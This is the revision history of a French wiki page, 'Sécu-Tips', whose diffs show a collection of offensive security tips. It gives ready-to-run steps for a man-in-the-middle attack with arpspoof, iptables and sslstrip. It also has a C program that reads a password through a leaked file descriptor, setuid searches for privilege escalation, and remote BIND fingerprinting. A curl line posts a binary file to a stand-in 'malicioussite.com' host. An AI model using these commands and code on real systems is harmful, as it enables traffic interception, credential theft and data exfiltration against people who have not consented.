Sécu-Tips - Historique des versions

Futex : /* Envoyer du raw binaire à un site web */

2018-04-30T14:28:26Z

Envoyer du raw binaire à un site web

← Version précédente		Version du 30 avril 2018 à 14:28
Ligne 72 :		Ligne 72 :

	== Envoyer du raw binaire à un site web ==		== Envoyer du raw binaire à un site web ==
	curl --request POST --data-binary "@data.bin" ~~http~~://malicioussite.com/loveyoupolice182938481.php -o answer.bin		curl --request POST --data-binary "@data.bin" hxxp://malicioussite.com/loveyoupolice182938481.php -o answer.bin

Futex le 30 avril 2018 à 14:28

2018-04-30T14:28:07Z

← Version précédente		Version du 30 avril 2018 à 14:28
Ligne 70 :		Ligne 70 :
	return EXIT_FAILURE;		return EXIT_FAILURE;
	}		}

			== Envoyer du raw binaire à un site web ==
			curl --request POST --data-binary "@data.bin" http://malicioussite.com/loveyoupolice182938481.php -o answer.bin

Futex : /* Unix Hack */

2016-01-02T21:29:13Z

Unix Hack

← Version précédente		Version du 2 janvier 2016 à 21:29
Ligne 56 :		Ligne 56 :
	int main()		int main()
	{		{
	int index; char buffer[VSIZE];		int index; char buffer[VSIZE];
	char cmd[VSIZE];		char cmd[VSIZE];
	sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);		sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
	system(cmd);		system(cmd);
	lseek(FD, 0, SEEK_SET);		lseek(FD, 0, SEEK_SET);
	while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0)		while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0)
	{		{
	buffer[index-1] = '\0';		buffer[index-1] = '\0';
	fprintf(stdout,"[+] Password : %s\n", buffer);		fprintf(stdout,"[+] Password : %s\n", buffer);
	return EXIT_SUCCESS;		return EXIT_SUCCESS;
			}
	}
	fprintf(stderr,"[-] Password not found\n");		fprintf(stderr,"[-] Password not found\n");
	return EXIT_FAILURE;		return EXIT_FAILURE;
	}		}

Futex : /* Unix Hack */

2016-01-02T21:28:10Z

Unix Hack

← Version précédente		Version du 2 janvier 2016 à 21:28
Ligne 56 :		Ligne 56 :
	int main()		int main()
	{		{
	int index; char buffer[VSIZE];		int index; char buffer[VSIZE];
	char cmd[VSIZE];		char cmd[VSIZE];
	sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);		sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);

Futex : /* Unix Hack */

2016-01-02T21:27:58Z

Unix Hack

← Version précédente		Version du 2 janvier 2016 à 21:27
Ligne 52 :		Ligne 52 :
	#include <stdlib.h>		#include <stdlib.h>
	#include <stdio.h>		#include <stdio.h>

	#define FD 3		#define FD 3
	#define VSIZE 256		#define VSIZE 256


	int main()		int main()
	{		{
	int index; char buffer[VSIZE];		int index; char buffer[VSIZE];

	char cmd[VSIZE];		char cmd[VSIZE];
	sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);		sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
	system(cmd);		system(cmd);

	lseek(FD, 0, SEEK_SET);		lseek(FD, 0, SEEK_SET);
	while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0) {		while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0)
	~~buffer[index-1] = '\0';~~		{
			buffer[index-1] = '\0';
	fprintf(stdout,"[+] Password : %s\n", buffer);		fprintf(stdout,"[+] Password : %s\n", buffer);
	return EXIT_SUCCESS;		return EXIT_SUCCESS;
	}
			}

	fprintf(stderr,"[-] Password not found\n");		fprintf(stderr,"[-] Password not found\n");
	return EXIT_FAILURE;		return EXIT_FAILURE;

	}		}

Futex : /* Unix Hack */

2016-01-02T21:26:42Z

Unix Hack

← Version précédente		Version du 2 janvier 2016 à 21:26
Ligne 50 :		Ligne 50 :
	Files descriptors leaks		Files descriptors leaks

		⚫	#include <stdlib.h>
	[code]
	#include <~~stdlib~~.h>		#include <stdio.h>
⚫	#include <~~stdio~~.h>

	#define FD 3		#define FD 3
	#define VSIZE 256		#define VSIZE 256


	int main() {		int main()
			{
	int index; char buffer[VSIZE];		int index; char buffer[VSIZE];

Ligne 75 :		Ligne 75 :
	return EXIT_FAILURE;		return EXIT_FAILURE;

	}		}
	[/code]

Futex : /* Recherche du bit setuid */

2016-01-02T21:26:08Z

Recherche du bit setuid

← Version précédente		Version du 2 janvier 2016 à 21:26
Ligne 44 :		Ligne 44 :
	HP-UX		HP-UX
	find / -local -type f $ -perm -4000 -o -perm -2000 $ -prin		find / -local -type f $ -perm -4000 -o -perm -2000 $ -prin


			== Unix Hack==

			Files descriptors leaks

			[code]
			#include <stdlib.h>
			#include <stdio.h>

			#define FD 3
			#define VSIZE 256


			int main() {
			int index; char buffer[VSIZE];

			char cmd[VSIZE];
			sprintf(cmd, "ls -la /proc/%d/fd/3", getpid()+2);
			system(cmd);

			lseek(FD, 0, SEEK_SET);
			while((index = read(FD,buffer,VSIZE-1)) != 0 && index > 0) {
			buffer[index-1] = '\0';
			fprintf(stdout,"[+] Password : %s\n", buffer);
			return EXIT_SUCCESS;
			}

			fprintf(stderr,"[-] Password not found\n");
			return EXIT_FAILURE;

			}
			[/code]

Futex le 10 novembre 2013 à 23:37

2013-11-10T23:37:07Z

Nouvelle page

== Connaître la version de Bind à distance ==

# nslookup -q=txt -class=CHAOS version.bind 213.186.33.99
ou
# fpdns -D 213.186.33.99

== Décoder une chaîne en base64 ==

#perl -MMIME::Base64 -le 'print decode_base64 ("c2VjcmV00k1BbUdvZa---")'
secret:IamGod

----

== MITM Attack avec sslstrip ==

Activer le mode forwarding.
echo "1" > /proc/sys/net/ipv4/ip_forward
Rediriger le traffic HTTP sur sslstrip avec iptables.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>
Lancer sslstrip sslstrip.
sslstrip.py -l <listenPort>

Lancer arpspoof pour se faire passer pour la gateway
arpspoof -i <interface> -t <targetIP> <gatewayIP>

How does this work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

At this point, sslstrip receives the traffic and does its magic.

----

== Recherche du bit setuid ==

SunOS
find / -local -type f $ -perm -4000 -o -perm -2000 $ -print
AIX
find / -type f $ -perm -4000 -o -perm -2000 $ -print
Linux
find / -local -type f $ -perm -4000 -o -perm -2000 $ -print
HP-UX
find / -local -type f $ -perm -4000 -o -perm -2000 $ -prin

Sécu-Tips - Historique des versions

Futex : /* Envoyer du raw binaire à un site web */

Futex le 30 avril 2018 à 14:28

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Recherche du bit setuid */

Futex le 10 novembre 2013 à 23:37

Futex : /* Envoyer du raw binaire à un site web */

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Unix Hack */

Futex : /* Recherche du bit setuid */